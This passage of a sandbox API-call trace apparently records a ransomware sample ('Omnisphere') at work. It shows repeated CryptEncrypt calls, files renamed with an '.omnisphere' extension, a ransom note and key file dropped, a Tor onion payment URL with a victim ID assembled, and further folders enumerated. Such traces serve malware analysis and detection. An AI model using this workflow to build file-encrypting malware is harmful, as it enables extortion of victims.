pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.181] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.182] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.183] CryptEncrypt (in: hKey=0x1639b28, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0155.186] CryptDestroyKey (hKey=0x1639b28) returned 1 [0155.186] CryptReleaseContext (hProv=0x1668bd0, dwFlags=0x0) returned 1 [0155.186] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x1200e, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0155.186] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0155.187] GetProcessHeap () returned 0x1600000 [0155.187] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b8) returned 0x16f9dc0 [0155.187] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.omnisphere")) returned 1 [0155.189] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.omnisphere.id" [0155.189] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\transcodedwallpaper.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0155.191] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0155.192] CloseHandle (hObject=0x3c0) returned 1 [0155.192] UnmapViewOfFile (lpBaseAddress=0x14a0000) returned 1 [0155.193] CloseHandle (hObject=0x288) returned 1 [0155.193] SetEndOfFile (hFile=0x28c) returned 1 [0155.193] FlushFileBuffers (hFile=0x28c) returned 1 [0155.322] CloseHandle (hObject=0x28c) returned 1 [0155.322] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\TranscodedWallpaper" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes") returned 1 [0155.322] GetProcessHeap () returned 0x1600000 [0155.322] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x1731978 [0155.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0155.322] GetProcessHeap () returned 0x1600000 [0155.322] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16fd758 [0155.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16fd758, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0155.322] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0155.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0155.322] GetProcessHeap () returned 0x1600000 [0155.322] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726b18 [0155.322] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726b18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0155.322] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0155.323] GetProcessHeap () returned 0x1600000 [0155.323] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16f5240 [0155.323] PathCombineW (in: pszDest=0x16f5240, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\!DECRYPT_OMNISPHERE.txt" [0155.323] GetProcessHeap () returned 0x1600000 [0155.323] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1723060 [0155.323] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0155.324] WriteFile (in: hFile=0x28c, lpBuffer=0x1723060*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x1723060*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0155.325] CloseHandle (hObject=0x28c) returned 1 [0155.326] GetProcessHeap () returned 0x1600000 [0155.326] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1731978 | out: hHeap=0x1600000) returned 1 [0155.326] GetProcessHeap () returned 0x1600000 [0155.326] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xa6) returned 0x162e628 [0155.326] PathCombineW (in: pszDest=0x162e628, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\unique_decrypt.key" [0155.326] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0155.327] WriteFile (in: hFile=0x28c, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0d808, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0d808*=0x5a0, lpOverlapped=0x0) returned 1 [0155.328] CloseHandle (hObject=0x28c) returned 1 [0155.328] GetProcessHeap () returned 0x1600000 [0155.328] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162e628 | out: hHeap=0x1600000) returned 1 [0155.328] GetProcessHeap () returned 0x1600000 [0155.328] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x162cec8 | out: hHeap=0x1600000) returned 1 [0155.328] FindNextFileW (in: hFindFile=0x16394e8, lpFindFileData=0x3e0daa4 | out: lpFindFileData=0x3e0daa4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xed4a4fa5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xed4a4fa5, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeee6c718, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1200e, dwReserved0=0x0, dwReserved1=0xd3, cFileName="TranscodedWallpaper", cAlternateFileName="TRANSC~1")) returned 0 [0155.328] FindClose (in: hFindFile=0x16394e8 | out: hFindFile=0x16394e8) returned 1 [0155.329] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\*", lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3dacd5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dacd5b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName=".", cAlternateFileName="")) returned 0x1639b28 [0155.329] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed47ed46, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x3dacd5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dacd5b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="..", cAlternateFileName="")) returned 1 [0155.329] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3dacd5b2, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x3dacd5b2, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x3dacd5b2, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0155.329] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d854 | out: lpFindFileData=0x3e0d854*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x1600000, dwReserved1=0x1, cFileName="CachedFiles", cAlternateFileName="CACHED~1")) returned 1 [0155.329] GetProcessHeap () returned 0x1600000 [0155.329] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x98) returned 0x167b4e8 [0155.329] PathCombineW (in: pszDest=0x167b4e8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes", pszFile="CachedFiles" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles" [0155.329] GetProcessHeap () returned 0x1600000 [0155.329] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x9c) returned 0x16568c8 [0155.329] PathCombineW (in: pszDest=0x16568c8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*" [0155.329] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\*", lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName=".", cAlternateFileName="")) returned 0x1639b68 [0155.330] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xed5176e5, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xcc, cFileName="..", cAlternateFileName="")) returned 1 [0155.330] FindNextFileW (in: hFindFile=0x1639b68, lpFindFileData=0x3e0d5a8 | out: lpFindFileData=0x3e0d5a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeeeb8bd4, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0xeeeb8bd4, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0xeeeb8bd4, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x1268b, dwReserved0=0x0, dwReserved1=0xcc, cFileName="CachedImage_1440_900_POS4.jpg", cAlternateFileName="CACHED~1.JPG")) returned 1 [0155.330] GetProcessHeap () returned 0x1600000 [0155.330] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xd4) returned 0x172e780 [0155.330] PathCombineW (in: pszDest=0x172e780, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles", pszFile="CachedImage_1440_900_POS4.jpg" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" [0155.330] StrStrW (lpFirst=".omnisphere", lpSrch=".jpg") returned 0x0 [0155.330] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Themes\\CachedFiles\\CachedImage_1440_900_POS4.jpg" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\themes\\cachedfiles\\cachedimage_1440_900_pos4.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x5, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x288 [0155.331] GetFileSizeEx (in: hFile=0x288, lpFileSize=0x3e0d2d0 | out: lpFileSize=0x3e0d2d0*=75403) returned 1 [0155.331] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x12167, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d2c4 | out: lpNewFilePointer=0x0) returned 1 [0155.331] ReadFile (in: hFile=0x288, lpBuffer=0x3e0cd78, nNumberOfBytesToRead=0x524, lpNumberOfBytesRead=0x3e0d2c0, lpOverlapped=0x0 | out: lpBuffer=0x3e0cd78*, lpNumberOfBytesRead=0x3e0d2c0*=0x524, lpOverlapped=0x0) returned 1 [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.331] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be [0155.332] GetTickCount () returned 0x11669be 